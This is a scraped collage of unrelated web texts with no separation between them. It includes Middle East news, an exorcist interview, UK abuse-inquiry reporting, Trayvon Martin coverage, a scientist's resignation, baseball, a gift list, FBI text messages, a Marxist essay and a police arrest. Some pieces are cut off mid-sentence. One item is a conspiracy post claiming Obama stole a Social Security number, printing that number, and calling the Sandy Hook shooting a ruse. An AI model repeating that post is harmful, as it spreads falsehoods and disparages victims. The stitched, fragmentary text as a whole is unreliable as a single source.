8:40 P.M. Housing and Construction Minister Uri Ariel responds to news, saying, "In a war, as in war, one must strike at terrorists mercilessly on the one hand and respond with an appropriate Zionist response on the other." (Barak Ravid)
8:30 P.M. Media outlets announce that the bodies of the three teenagers were found. A gag order had been in place Monday evening, forbidding the announcement. In the lead-up to the announcement, rumors had spread over social media that the teens' bodies had been found.
8:20 P.M. Palestinian residents of Hebron report that all entrances and exits from Hebron are closed by Israeli security forces. (Jack Khoury)
8:10 P.M. The Security Cabinet is scheduled to hold an emergency meeting at 9:30 P.M. (Barak Ravid)
Naftali Fraenkel, Gil-Ad Shaer, and Eyal Yifrah.
Bodies of three kidnapped Israeli teenagers are found.- “I never thought I’d end up doing this, no,” admits the middle-aged priest whose unexpected path to becoming an exorcist began while saying one of his first Masses after he was ordained 15 years ago.
“At the moment of consecration of the precious blood I asked the Lord to shower his blood upon the youth and to help any young men who may have a vocation to the priesthood.”
The instant reaction of one 13-year old boy shocked the young priest, “he fell backwards and started growling. And I thought, ‘I wasn’t expecting this!’”
Several years later, and he is one of a new generation of exorcists-in-training following a decision by the U.S. bishops in November 2010 to vastly increase the number of exorcists, which might number as low as 50 in America.
The priest, who is from the U.S. Midwest, spoke to CNA on the basis of anonymity so that he will not be deluged with inquiries. As he explained, “we have set structures to make sure those who most need help get it.”
He now finds himself in Rome, sent by his bishop to shadow the work of the six official exorcists of the Rome diocese. In practical terms that means he is “involved in about three exorcisms a day.”
And the learning curve has been steep. “No two cases are alike. That’s been a real education for me. The rite of exorcism is not a magic formula,” he said.
“It is not the devil or the exorcist who is at the center of this but a person is suffering a lot and who is in need of certain liberation through Christ.”
As for correct terminology, is it a demon or a devil? “Demon comes from Greek, devil comes from Latin, either is okay,” he explained. What you are dealing with “are fallen angels who were created good.”
The early Church Fathers, including St. Jerome and St. Augustine, speculated that these angels rebelled “because of the revelation to them of God’s plan of incarnation” and their “repulsion at the notion that God, who is pure spirit and infinite, should become a man.”
For this reason, the priest observed, they have a “fascination with physicality” and “making people suffer.”
“So once the rite begins, normally he starts to manifest himself in the suffering person different ways - violence, changing of the face, changing of the voice is different,” he said, recalling recent exorcisms.
“He just wants to intimidate, but you basically have to ignore him and say ‘Hey, I am the one giving orders around here, buddy,’” he laughed.
The demon’s angelic knowledge, he said, also means they are aware that God only permits their diabolical activities to bring about the salvation of people through “expiating suffering.”
“These suffering people are becoming saints (by) the offering of their sacrifices” which God then receives and “blesses large parts of the Church around the world.”
“When you remind the Devil of that it makes him furious,” because he knows he is losing and hence “he wants to get what he can, while he can. If he can’t win these peoples’ souls, he wants to at least make their lives miserable.”
So an exorcist dialogues with the devil?
“Yes, I ask them a series of questions: ‘What’s your name?’ since when you use his name in a command it weakens him.” Once a demon gives his name, the exorcist then tells him to “get out” and also might ask “how he got in and when he’s going to leave.”
“The last one, it’s like they’ve all been coached with the same line, ‘I’m never leaving,’ but they will someday!”
The key is to limit dialogue, said the trainee exorcist. “You don’t want to ask them questions just out of curiosity, that’s not healthy.”
It is also possible to “throw in things just to humiliate the demon,” such as invoking the presence of saints, guardian angels and – most feared of all – Our Lady. It is then that “you can really see that there is a change in the behavior of the demon.”
The end-game often comes when the devil start revealing himself in angry and violent outbursts, when “it is common that there is foaming at the mouth.”
In the case of a curse being broken, the person will “start vomiting objects that were used in the curse or, you know, the vomit or saliva changes from clear to colored.”
It is then the exorcist knows “I’m hitting home, that this is really being effective and so those are good signs. It’s not pleasant to see, but you know that ‘I’m being effective here.’”
The American exorcist-in-training explained that the causes of demonic influence vary from case to case and the impact of participating in evil practices also changes with each case.
But one factor that seems to be a common foundation for people coming under the sway of the Devil is “deep wounds in their lives and, above all, in their family,” particularly where “parents have made really bad choices” and in doing so “have invited evil influence into their home.”
He lists such things as “marital infidelity, abortion, doing things that break the family apart.”
“What is the family?” he asked rhetorically, “A family is an icon; it’s an image of the blessed Trinity, and so the devil hates the family.”Scotland Yard has tracked down a child at the centre of an alleged 1980s Westminster paedophile ring who has implicated a senior political figure, The Telegraph can disclose.
The man - now in his 40s, whose identity is known to this newspaper - is a successful entrepreneur based in the United States and has given a detailed account of how he was assaulted by the politician.
However, the alleged victim - who was initially willing to co-operate - has so far refused to make a formal statement to British detectives.
Police have traced a copy of a statement he gave more than 30 years ago as a child when he was rescued from horrific sexual assault. His version of events is understood to be corroborated by a detective who conducted the official interview with the child at the time.
Downing Street has confirmed Theresa May, the Home Secretary, will make a statement on the Government’s handling of the wider allegations later.
It came as an MP who has played a leading role in disclosing allegations of sex abuse in Westminster called for a wide-ranging amnesty for police officers who were blocked from investigating allegations in the past.
Simon Danczuk, a Labour backbencher, said an amnesty would help resolve whether paedophiles in the heart of government had been the subject of a high-level cover up.
At least one former detective has told Mr Danczuk he had been forced to sign a gagging order about his role investigating alleged paedophiles in the government, and was frightened of the legal consequences of speaking openly about what he knew.
Between 20 and 30 new informants have come forward in less than a week since Mr Danczuk made major new allegations to a House of Commons committee about a dossier - said to have contained details of at least eight prominent paedophiles - which was handed to the Home Office in the 1980s.
Amid concerns that Scotland Yard has not assigned enough manpower to ongoing sex abuse inquiries, Mr Danczuk said: “I think what we need to do is create an amnesty for former police officers and other people in authority, including border guards, probation staff and social workers.
“If they are concerned about the implications of having signed any documents, including the Official Secrets Act, there should be an amnesty that will allow them to come forward and share their experience of investigating historic child sex abuse cases, so we can build up a more thorough picture of what went on at the time and potentially prosecute some of the alleged offenders.
“We have had lots of people get in touch including ex-police officers. I spoke to one former officer who said he had signed a gagging order, and I am not surprised by this. Many of these people are worried about the implications for themselves if they come forward, and worried about their pensions and so on.”
The new developments emerged after Scotland Yard confirmed that Lord (Leon) Brittan, the former home secretary, had been questioned under caution in a separate inquiry relation to an alleged rape of a woman aged over 18.
The Telegraph can disclose officers from the Metropolitan Police’s Operation Fernbridge - launched in February last year to examine allegations of a paedophile ring involving prominent figures - have closely examined the case of the eight-year-old alleged victim.
Lord Brittan, the former home secretary
Police are understood to have sent a United States investigator to interview the victim of alleged abuse at Elm Guest House, in Barnes, south-west London, who is now a successful businessman in his early 40s in the east coast US.
A US law enforcement officer, who had recently returned home after concluding a secondment to the Fernbridge team, was asked to interview the man on Scotland Yard’s behalf earlier this year.
The alleged victim is understood to have named the senior figure. During his original interview in 1982 the child referred to his abuser working at “the big house”, which detectives believe was the Houses of Parliament.
The US officer reported back to Scotland Yard that the alleged victim was “ready to spill the beans” and advised them to travel to America immediately to conduct a formal interview.
But by the time travel plans had been arranged, the man had changed his mind for unknown reasons and refused to co-operate, The Daily Telegraph understands.
Fernbridge detectives also interviewed a retired police officer who was involved in the original Elm Guest House investigation and who interviewed the alleged victim at the time.
This newspaper understands the retired detective was reluctant to go into detail about why information about the politician was not included into witness statements at the time or submitted into evidence as part of a potential prosecution.
His reluctance, which appears to reinforce the case for an amnesty, is understood to have stemmed from the policeman’s fear that he could face disciplinary action, or other legal implications, or lose his pension.
Following a series of high-profile prosecutions of celebrities for historic sex offences, the revelations will intensify pressure on David Cameron, the Prime Minister, and Mrs May to launch a full inquiry into the claims that child sex abuse by politicians was ignored for decades.
Mr Danczuk last week challenged Lord Brittan to reveal what he knew about a 40-page dossier handed to the Home Office in the 1980s by a Conservative MP, Geoffrey Dickens, which is believed to have named a number of paedophile politicians.
Sir Thomas Hetherington, the then Director of Public Prosecutions, was also given a copy of the dossier sent to Mr Brittan, according to reports last night.
One Labour politician, who went on to become a minister under Tony Blair, has reportedly been accused of child abuse and of trying to help convicted paedophile Michael John Carroll foster two young brothers.
At the weekend it emerged that Lord Brittan had been questioned by police under caution in relation to an alleged rape which is said to have taken place at his central London flat following a blind date with the woman in 1967.
Simon Danczuk MP
It is understood that Lord Brittan strongly denied the allegation. In a brief statement his lawyers said: “Lord Brittan is not making any comment today.”
The Home Office has admitted it is unable to trace the dossier compiled by Mr Dickens, who died in 1995, and that “114 potentially relevant files had been presumed destroyed, missing or not found”.
Mark Sedwill, the Home Office permanent secretary, has also confirmed that an internal review of information the department received over decades, including Mr Dickens’ dossier, has stopped short of interviewing former ministers.
He claimed in a letter to Keith Vaz, the chairman of the Home Affairs Select Committee, that former ministers and officials were not questioned “to avoid inadvertently prejudicing ongoing or future police inquiries”.
Mr Vaz said the permanent secretary will face questioning on the subject later this week.
“Someone does need to be put in charge of this and I hope that Mr Sedwill will be able to give us a brief update of where we are on this very important issue,” said Mr Vaz.
Writing for The Telegraph today Lord Tebbit, a colleague of Lord Brittan in Margaret Thatcher’s Cabinet in the 1980s, admits there “may well have been” a cover up of abuse by Establishment figures.
He calls for a “resolute” inquiry which will he argues would help “the public feel able to trust their leaders again”.
Nick Clegg, the Deputy Prime Minister, pledged to ensure the police were investing enough time and money in the inquiries. “We need to make sure, and the police need to make sure, that the police investigations are thorough and well-resourced,” he said.
Mrs May will make a statement in the House of Commons later in a bid to regain the political initiative after her department has been criticised for the way it has handled abuse allegations.
The Home Secretary is expected to face tough questioning from the Opposition during Home Office oral questions in the Commons.
Yvette Cooper, the shadow home secretary, said she was concerned the Government had failed to take proper action.
“It is time for the Home Office to stop taking a backseat as more of these serious allegations emerge. Some real leadership is now needed to ask the difficult questions of our child protection infrastructure and whether it is as strong as it needs to be,” said Miss Cooper in the letter, released by Labour.ABC The death of Florida teenager Trayvon Martin, who was tragically shot by a neighborhood watchman while walking home armed with Skittles and iced tea, has captivated the country this week, sparking national outcry over racial profiling, vigilantism, and sweeping "Shoot First" self-defense laws.
At the center of the furor is George Zimmerman, the 28-year-old community watch man who has admitted to chasing Martin down and shooting him twice. Zimmerman has not been arrested by local authorities, on the grounds that he was acting in self-defense.
Not much is known about Zimmerman, who has been conspicuously silent since the incident. He has alternatively been identified as white and as Hispanic, a distinction that many pundits apparently see as crucial to determining whether race was a motivating factor in Martin's death. Neighbors of the Zimmerman family told the Associated Press that Zimmerman's father is white and his mother is Peruvian. (Although it is not clear why Zimmerman's Hispanic background should rule out racial motivation in the slaying of a black teen.)
According to the AP, Zimmerman was a self-styled one-man neighborhood watch, making nearly 50 calls to police in Sanford, Fla., over the past 8 years. He took criminal justice classes at a local community college and even considered a career in law enforcement. In 2011, Zimmerman worked with police to form a formal neighborhood watch group in his gated community, and acted as the group's liaison to the Sanford PD.
A 47-page document of Zimmerman's most recent 9-1-1 calls, posted online by the city of Sanford today, paints a portrait of a man who was obsessed with law-and-order. Most of the calls relate to suburban mundanities (kids jumping fences, suspicious cars), but he appears to have been particularly concerned about the behavior of young black males.
Mother Jones' Adam Weinstein draws our attention to these calls:
In August 2011, he called to report a black male in a tank top and shorts acting suspicious near the development's back entrance. "[Complainant] believes [subject] is involved in recent S-21s"—break-ins—"in the neighborhood," the call log states. The suspect, Zimmerman told the dispatcher, fit a recent description given out by law enforcement officers.
Three days later, he called to report two black teens in the same area, for the same reason. "[Juveniles] are the subjs who have been [burglarizing] in this area," he told the dispatcher.
And last month, on Feb. 2, Zimmerman called to report a suspicious black man in a leather jacket near one of the development's units. The resident of that townhouse, Zimmerman told dispatch, was a white male. Police stopped by to investigate, but no one was there, and the residence was secure.
After that, there's one final call logged in the report. At 7:11 on February 26, Zimmerman called police to report a black male in a dark gray hoodie. A few minutes later, that male—Trayvon Martin—lay dead on the sidewalk.
Tapes of the 9-1-1 call show that the dispatcher told Zimmerman not to act on his suspicions, but before police arrived, Martin was dead.
UPDATE, 5:24 p.m.:
A scan of the online court records for Orange County, Fla., where Zimmerman lives, shows that a man of the same name and age was accused of violent behavior twice in 2005, once for resisting arrest and battery of a law enforcement officer, and once for domestic violence.
The outcomes of both cases are sealed.Shreemanta Parida in front of his home in Berlin after his return from India in the last week of June
New Delhi, July 27: Defeated and tired, Shreemanta Parida sat in aisle seat 25G of the Frankfurt-bound Lufthansa flight out of India and struggled to understand how his homecoming had turned into humiliation.
The doctor-turned-medical scientist wondered if there was something — anything — he could have done differently to avoid losing, as he just had, two years of his life in India.
By the time the Boeing 747 had reached European skies, Parida had converged on something he had told himself over and over again during the previous eight weeks: that he was the victim and had done right in quitting.
The non-resident Indian scientist, appointed two years ago as chief executive officer of a government vaccine research programme, resigned last month and returned home to Berlin, saying India’s science bureaucracy had prevented him from working.
Scientists familiar with Parida’s plight say his 25-month stay in India is a tale of how an entrenched science bureaucracy stonewalled a newcomer, senior administrators failed to curb the harassment, and good intentions deteriorated into bitter acrimony.
India’s department of biotechnology (DBT) had, after an international headhunt, hired Parida to lead its Vaccine Grand Challenge Programme (VGCP) and accelerate the development of new vaccines for dengue, malaria, TB and other infections.
Parida was expected to guide the programme through new policies and research initiatives. But the scientist, who had returned to India after 22 years overseas — in Geneva, Oxford, Berlin and elsewhere — complains his own DBT colleagues handicapped and harassed him in multiple ways.
In emails to senior DBT officials, Parida has indicated he was denied access to VGCP documents and kept out of meetings while the programme’s initiatives were run by someone he described as a “shadow” scientist-bureaucrat. Parida did not get any office infrastructure, computer, staff or even an official email address, and his salary was held back for months, he says.
“It was humiliating,” Parida told The Telegraph from Berlin. He said he had pleaded several times with then DBT secretary Maharaj Kishan Bhan for intervention that would allow him to carry out the tasks he had been hired for.
Two senior DBT scientist-bureaucrats who played a role in picking Parida said the decision to hire him had been a mistake. They spoke on condition of anonymity.
“It was not a good hire; the process for operationalising his position was not well thought through,” one of them said. The other official claimed Parida had not done any work assigned to him.
Current DBT secretary Krishnaswamy VijayRaghavan, who took over nearly 20 months after Parida’s appointment, said Parida was “an accomplished researcher”.
“Sometimes, though, particularly in a new and complex environment for a new recruit, things don’t take off as they should, and it is important to accept that this happens and move on rather than be mired in recriminatory debate.”
A panel of DBT officials and an independent scientist will meet next week “to understand better what went wrong”.
But email correspondence, documents and interviews with scientists in the DBT and other institutions suggest that differences of opinion and friction between Parida and DBT adviser T.S. Rao erupted into confrontation. The correspondence indicates Rao declined to share key VGCP papers with Parida.
Trouble also emerged with Parida’s attempt to steer the VGCP along directions mandated by its own guidelines. He wanted to discourage funding of individual, piecemeal projects and to promote “theme-based” research where multiple teams collaboratively engage with different aspects of the challenges to vaccine development.
Yet, the DBT went ahead with tradition, inviting proposals for individual research projects. “The call for proposals went out without my knowledge,” Parida said.
During his DBT tenure, Parida found himself invited to several international scientific meetings. In December 2012, the Karolinska Institute in Sweden invited him to an exclusive think-tank meeting to discuss new concepts in TB research.
“Your work in TB immunology and clinical implementation has been groundbreaking and set a new paradigm on how to diagnose or treat patients,” the institute wrote in its invitation note.
In contrast, the DBT did not even inform him of an internal meeting on TB in April this year, Parida said.
Parida, who pursued medical research after getting an MBBS from Cuttack, had helped conduct one of the world’s largest trials on a therapeutic vaccine against leprosy in Uttar Pradesh during the early 1990s.
After his PhD, he moved to the WHO in Geneva for research and training in immunology. He spent four years at Oxford, a year in Brussels, and was in Berlin for five years, leading an international research consortium to hunt for hidden biomarkers for TB.
In a note to DBT secretary VijayRaghavan this year, Parida wrote he had joined the VGCP with a “passion to serve the homeland” but added: “For reasons unknown to me, I have not been empowered yet to function for the position (I was) recruited for.”
“When there is interpersonal friction, mechanisms must be in place for senior administrators to step in and mediate. As this apparently did not happen… the DBT’s reputation… suffers,” Trinad Chakraborty, director of the Institute of Medical Microbiology in Giessen, Germany, said over the phone.
A DBT document suggests Rao had said in a note on November 27, 2011, that “Parida is not discharging the duties and responsibilities as CEO in a manner desired by (the) DBT and has not fulfilled the purpose for creation of this post”.
Following this, then DBT secretary Bhan set up a committee of three scientists to review Parida’s performance and hand in their report by November 30, 2012.
But two of the three scientists told this newspaper the DBT never followed up on the communication and the panel never met. The third, neurosurgeon Prakash Tandon, said he did not recall even being told he was on this panel.
The DBT declined to respond to queries why Parida’s salary had been withheld for several months and why the DBT’s displeasure with his performance had not been officially communicated to him at any point during his tenure.
When he joined the DBT in May 2011, Parida had returned to India alone, leaving his wife and school-going son back in Berlin. “For some reason, I had apprehensions and didn’t want to uproot them,” Parida said. “I’m so glad I didn’t.”As part of his new job description, Oquendo will work out of the team's complex in Jupiter, Fla., where he will assist with the instruction of Minor League players. The Cardinals have affiliates in the Florida State and Gulf Coast Leagues that train at the facility. It is also where players are sent for extended Spring Training or rehab work.
ST. LOUIS -- Jose Oquendo, who vacated his role as the Cardinals' third-base coach in 2016 due to health issues, will soon be named a special assistant to general manager John Mozeliak, as part of Oquendo's transition to a new role within the organization. The Cardinals are expected to formally announce the move later this week.
ST. LOUIS -- Jose Oquendo, who vacated his role as the Cardinals' third-base coach in 2016 due to health issues, will soon be named a special assistant to general manager John Mozeliak, as part of Oquendo's transition to a new role within the organization. The Cardinals are expected to formally announce the move later this week.
As part of his new job description, Oquendo will work out of the team's complex in Jupiter, Fla., where he will assist with the instruction of Minor League players. The Cardinals have affiliates in the Florida State and Gulf Coast Leagues that train at the facility. It is also where players are sent for extended Spring Training or rehab work.
Mozeliak noted that Oquendo may even travel to the Dominican Republic periodically to help with instruction there.
"Jose is eager to get going," Mozeliak said. "The location is perfect."
After 16 seasons as the Cardinals' third-base coach, Oquendo voluntarily stepped away in 2016 so he could address chronic knee problems. The possibility of moving into a role that would allow him to reside in Florida year-round became more appealing to Oquendo after undergoing multiple surgeries.
Mozeliak noted that Oquendo is "very mobile" again, and will have a presence in Spring Training.
The Cardinals are particularly eager to have Oquendo, a well-respected infield instructor, work with 18-year-old Puerto Rican shortstop Delvin Perez, who was the Cardinals' top pick in the 2016 MLB Draft, and is their No. 5 prospect, per MLBPipeline.com.
Oquendo is also available to work with others who may want to spend time at the team's Florida complex during the offseason. Cardinals shortstop Aledmys Diaz, who lives not far from that area, is among those expected to stop by for individualized work with Oquendo.
Oquendo served as a field instructor for the organization in 1997 before managing the New Jersey Cardinals of the New York-Penn League a year later. In 1999, Oquendo was named bench coach under Hall of Fame manager Tony La Russa. A year later, he began his long tenure as the club's third-base and infield coach.
Prior to coaching, Oquendo played professionally for 17 seasons. That included two years with the Mets, and a run as the Cardinals' "Secret Weapon" from 1986-95, during which he played every position on the diamond.10. To kick off the list, let's dive straight into the staple-drink of all geeks: Bawls G33K B33R (or just regular bawls).
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Something for the shirt-geeks (ironic t-shirts, fanboy shirts, etc.)
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Happy Holidays to all of you Geek supporters!
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With the holiday season rapidly approaching, we're often caught browsing internet stores and reading top ten lists of gifts perfect for... whoever. Well, here's another list to pre-occupy you while at work. These gifts are for the Geeky, and it seems so tempting to buy them just to put a smile on that certain geek's face.G33k b33r has all the right ingredients to keep that geek of yours smashing away at his/her keyboard, while in an intense round of TF2, or pounding out some ruby-on-rails. Bawls main ingredient is Guarana, from the amazon. The stuff is said to taste like a fruity sprite, and the Root Beer actually tastes like root beer with a nice... fruity flavor? [The Mvix player and case looks like a pretty advanced router, but even cooler., however (simply connect any size 3.5" SATA or IDE hard drive). It also connects you to your network via ethernet/802.11/g. It's also a media player that can connect to your HDTV via component/composite/s-video/dvi. Amazed yet? Supported file formats include MP1/2/4, DivX, Xvid, VOB. Musically, it can take MP3s, ogg, wav and AC3. Phew. Streaming support from other computers is available as well.Now if your geek is looking for more out of a wireless media player, we've got great news for you. It can display your photos, and syncs up your music and creates a nifty little slideshow of your photos.It's worth the geeky investment, since it'll be replacing the dvd's on the shelves, so more room for pictures of your cat/dog/cable nests.The Mvix Player runs for about $289.99 on sale [ Buy from NewEgg How about a nifty little tripod? The Gorillapod offers some nifty design for a tripod. It firmly secures a digi camera to pretty much any surface! Breaking the mold of the traditional tripod, this one does not require an elevated flat surface. Twist it to a fencepost. Stick it to the hood of your car (not in motion, obviously).It's lightweight, compact, and it can wrap to stuff. Easily carried, might I add. Perfect for that photo geek-on-the-go.Get it from [ Joby ] models ranging from $39.95-$149.957.A truly unique shirt - it plays music.What more can I say? 7 different drum noises. Loads of smacking yourself on the chest while walking down the street. Who knows?Get it for $29.99 at [ ThinkGeek We all know one. Drawers full of Manga/Anime. A guilty pleasure for some, a secret lust for others (no offense bro, it was the dragon-button-up shirt that gave it away). We love our Japan-obsessed buddies, so why not give em what they like? This robo-owl (as seen in the Tootsie Pop commercials) is perfect for the geeks, and the girlfriends that like cute stuff.It blinks its eyes, and swivels its head. So damn cute you might as well buy two. Get it at [ ThinkGeek ] for $19.99Look at those freakin' goggles. Who wouldn't want them? (Actual welding goggles).and the Labcoat - what a deal $26 at [Goggles - $10.20 at [Get it for $39.95 at [ HomeTrainingTools Let me just refer you to this post @It covers all consoles/pcs/handhelds, the best games for eachThe DCM7 coffee maker brews 1 cup at a time. Because lord knows if you fill that pot, you're gonna drink it all. And that isn't good.This coffeemaker brews one fresh, piping hot cup of coffee on demand. Great for rolling out of bed and slamming one immediately. Less wait time then a regular pot of coffee/espresso, with way less effortGet this thing at [ DealTime ] for as low as $12.992. The Movie Buff/Geek (because geeks usually aren't too buff, ahem)I'd suggest something worthy of a geek that spends time on his computer watching movies. Give him a hand with legally renting movies online!Netflix Gift Card!!!Get on from [ Netflix ] @ any price you choose1. Music Loving, iPhone/iPod having geek!I STRONGLY recommend buying a couple iTunes gift cards for those buddies of yours that dig music in a legal fashion. It's a great excuse to support some preferred artists and musicians, as well as iPhone/iPod apps and games to play. Get them the gift that they have full control of what they get.Hundreds of text messages released overnight between two FBI officials who worked on Robert Mueller’s Russia probe show the agents exchanging a steady stream of anti-Trump feelings – and even discussing how to “protect the country from that menace.”
The texts were released to the House Judiciary Committee ahead of a hearing Wednesday with Deputy Attorney General Rod Rosenstein, who is sure to be peppered with questions about the messages. Republicans have pointed to them in raising questions about the objectivity of both the bureau and the Mueller probe.
In one exchange from August 2016, the FBI’s Lisa Page forwarded a Donald Trump-related article to Peter Strzok, writing: “And maybe you’re meant to stay where you are because you’re meant to protect the country from that menace.”
He responded: “Thanks. It’s absolutely true that we’re both very fortunate. And of course I’ll try and approach it that way. I just know it will be tough at times. I can protect our country at many levels, not sure if that helps.’”
READ THE ANTI-TRUMP TEXTS
Strzok, who was an FBI counterintelligence agent, was reassigned to the FBI’s human resources division after the discovery of the exchanges with Page, with whom he was having an affair. Page was briefly on Mueller’s team, but has since returned to the FBI.
The Justice Department has been reviewing thousands of their messages in recent days, turning over roughly 375 to the committee from between August 2015 and December 2016.
The anti-Trump sentiments were clear from the start.
On March 2 2016, Strzok texted Page that someone "asked me who I’d vote for, guessed [Ohio Gov. John] Kasich."
“Seriously?! Would you not [vote] D[emocrat]?" Page responded.
"I don’t know," Strzok answered. "I suppose Hillary [Clinton]."
"I would [vote] D," Page affirmed.
Two days later, Page texted Strzok, "God, Trump is a loathsome human."
"Yet he many[sic] win," Strzok responded. "Good for Hillary."
Later the same day, Strzok texted Page, "Omg [Trump's] an idiot."
"He's awful," Page answered.
"America will get what the voting public deserves," said Strzok, to which Page responded. "That’s what I’m afraid of."
Twelve days later, after Trump took a commanding lead in the Republican delegate race with victories in key "Super Tuesday" primaries, Page texted Strzok, "I can not believe Donald Trump is likely to be an actual, serious candidate for president."
On Aug. 6, Page texted Strzok a New York Times article about Muslim lawyer Khzir Khan, who became embroiled in a war of words with Trump after Khan spoke at the Democratic National Convention.
"Jesus. You should read this. And Trump should go f himself," Page wrote in a message attached to the article.
“God that’s a great article," Strzok answered. "Thanks for sharing. And F TRUMP."
Yet another exchange appears to show efforts to conceal some of their conversations about Democratic nominee Hillary Clinton.
“So look, you say we text on that phone when we talk about Hillary because it can’t be traced, you were just venting, bc you feel bad that you’re gone so much but that can’t be helped right now,” Page wrote on April 2, 2016.
Fox News’ Samuel Chamberlain and Jake Gibson contributed to this report.The real owner of Obama’s STOLEN SSN, Harrison J Bounel, was a patient at Fairfield Hills Psychiatric Hospital in Newtown Connecticut.
Would access to Harrison Bounel’s Death Records prove Obama stole Bounel’s SSN?
After the Sandy Hook “school shooting,” the State of Connecticut made a bizarre move.
CT locked down ALL Death Certificates — for any deaths in the entire State of CT.
Governor Malloy signed three Orwellian bills into law, after they were crammed thru at 2AM, “for the children.”
As a result, CT Death Certificates are NO LONGER public record — you cannot obtain them. Death Certificates have been PUBLIC RECORD for hundreds of years…. but suddenly, NOT ANYMORE.
Was the Sandy Hook “massacre” a ruse to lock down the Death Records of Harrison J Bounel — the real owner of Obama’s STOLEN SSN: #042-68-4425?
Harrison J Bounel died at Fairfield State Mental Hospital (circa 1978) in Newtown CT. Where is that location? It’s 1 mile from Sandy Hook Elementary school.
In other words, the rightful owner of Obama’s SSN died in the SAME TOWN where the historic “Newtown school massacre” occurred. Just 1 mile away.
Same State (CT). Same town (Newtown). Same town clerk’s office with same |
ott. “This study is the tip of the iceberg.”
Join Jerusalem Post Premium Plus now for just $5 and upgrade your experience with an ads-free website and exclusive content. Click here>>The libertarian/authoritarian dichotomy is less than useful for communist politics, writes Blake Nemo. Getting interested in Leftist politics at a young age, I formed an interest in Marxism. Just as strongly as I wanted to proclaim the need for a strong worker’s movement, I felt a need to distance myself from the unsavory historical figures attached to mainstream Marxism. As well, I wanted to highlight the need for the defense of individual rights. With the Communist tradition misleadingly characterized by repressive regimes such as the Eastern Bloc or even Democratic Kampuchea (late – 1970s Cambodia), I declared myself a Libertarian Marxist. However, by reading from Marxists outside the tradition of Lenin’s “successors” I realized the faulty reasoning behind my specification as a libertarian along with my Marxist views (also, I learned it kinda isn’t a real thing). This distinction, the use of the terms libertarian and authoritarian, is ultimately improper, and I would argue is not useful in the context of revolutionary politics.
Those of the left that also describe themselves as libertarian socialists create the dichotomy that one either supports the destruction of the Capitalist mode of production and its social relations through a type of worker self-emancipation. With the other being the authoritarian position, characterized as a conspiratorial takeover of state authority by a party dictating the fashion in which class is dissolved in a society, but ultimately acting as a new class – a dictatorship over the proletariat rather than a dictatorship of the proletariat. I find this way of dividing the currents of Communism problematic. Though there is certainly a distinction in the viewpoints that advocate for Communism through revolution, I would put forward that the more accurate divide is between those who seek genuine eradication of class in society and those who would like to imitate the past regimes that were often cadre, nationalist takeovers of the state or merely manage capitalist relations in a different way, essentially the left-wing of capital.
This difference is much clearer in my view, as it is apparent that most who identify as Marxist-Leninist and its variants conceptualize revolution as a takeover of the state and the installation of a party regime that upholds the nation-state and substitutes a bureaucracy of professional revolutionaries for the rule of the actual proletariat. As Communists who understand that the proletariat is where the revolutionary potential is held, such ideas practically seem like a divorce from any notion of Socialism. This divergence of viewpoints is much greater and more important than the divide between those who would use centralized power and those who wouldn’t.
Another supposed distinction to Libertarian Socialist thought that is ultimately not exclusive, is the preservation of individual freedom. The existing forms of “socialist republics” have impeded on the civil liberties, often in reactionary ways, simply because they were in actuality capitalist nation-states. In a genuine revolutionary situation, even with a party, there would be no interest in the suppression of certain lifestyles unless they are tightly intertwined with Bourgeois society, in which they would ultimately be undermined by the dissolution of class. The classic view of states based on “Marxist beliefs” controlling the many facets of people’s lives was not inherently due to the presence of authority, but often the consolidation of power by an opportunistic party. In fact, in the early rule of the Bolsheviks traditional values were largely expelled from the rule of law, legalizing homosexuality and abortion. Not to say there were no authoritarian elements to pre-Stalin USSR, but the tighter grip on personal freedom came along with the active seeking of more Russian influence and the abandonment of international unity by class.
Marx himself critiqued authoritarian socialists of his time like Blanqui. He made himself clear in stating this: “We are not among those communists who are out to destroy personal liberty, who wish to turn the world into one huge barrack or into a gigantic workhouse. There certainly are some communists who, with an easy conscience, refuse to countenance personal liberty and would like to shuffle it out of the world because they consider that it is a hindrance to complete harmony. But we have no desire to exchange freedom for equality. We are convinced that in no social order will freedom be assured as in a society based upon communal ownership.” — Marx, Engels, et al., Communist Journal, 1847. Marx himself was a champion of individual freedom and had this as his ultimate goal his entire life.
This divide has existed since the Soviet Union became an obvious force of counter-revolution. Before the question was revolution or reform, but no one ever thought a reformist could play a revolutionary so well. For nearly the rest of the century Marxist-Leninist(Stalinist) parties quelled uprisings and worker’s strikes. These parties would convince workers to go back to work in exchange for good favor for their parties in the government and small reversible benefits for the workers, to use the PCF in May 68 uprising in France as an example. Today, the tradition continues with mediocre parties like CPUSA and Syriza, supporting Democrats and making alliances with anti-immigration organizations, respectively. Both act to appease capitalism, regardless of one being in power and the other not. They’ve simply turned in their portraits of Stalin for Obama bumper stickers.
The next major point that I believe makes the libertarian/authoritarian dichotomy a problematic one is the fact that revolution is inherently repressive and undemocratic against the ruling class and their supporters. To change the mode of production is a monumental task, one that, if successful, will directly change the nature of human experience as we know it. As proponents of revolution, we will not take into consideration the consent of those who keep the current social order and have a vested interest in Capitalism. To quote Engels, “A revolution is certainly the most authoritarian thing there is” (On Authority, 1872).
Certainly, the programmatic and centralized suppression of bourgeois class interest could be called authoritarian, but realistically the entire movement would organically choose when to be lenient and when to act more aggressively. Even within examples of so-called Libertarian Socialism, workers militias acted as a major force of authority in their areas of operation. Instances of suppression against the church existed by Spanish Anarchist brigades and they were largely justified in doing so. The church, during the Spanish Civil War helped propagate for the Nationalists and help garner support for right-wing causes, consequently the revolutionary situation called for their suppression. In cases such as this worker self-defense was intense and vigorous and often meant taking the offensive against reactionaries. Yet in these scenarios these forces acted as the institutional authority and the real question is whether they acted as effective and legitimate forces of the proletariat. As advocates for revolution we should defend them for their merit as legitimate advancements in the way towards Communism, if they are so.
All in all, I believe Libertarian Socialism in the realm of revolutionary politics represents a need to separate one’s views from a tradition that had turned it’s back on proletarian revolution close to a century ago. However noble it is to separate ourselves from these regimes, the terminology of Libertarian implies that Communism on its own does not entail an end to the social order that controls our lives. Communists who want the empowerment of the proletariat to overthrow this existing social order should not have to make a distinction, it is the opportunist and LARPer left who should give up the label of Communist and Socialist. Nothing will maximize the possible liberties in life more than Full Automated Luxury Yacht Communism.
AdvertisementsA member of the controversial Peaceful Streets Project was arrested over the weekend while filming Austin police officers on 6th Street.
Kenneth Holmes, 49, has been charged with interference with public duties after police said he “got in a space officers needed” as they attempted to break up two fights.
Arrest affidavits state Holmes, who was recording the incidents, was told repeatedly to stand back by officers, but that he “violated their order.”
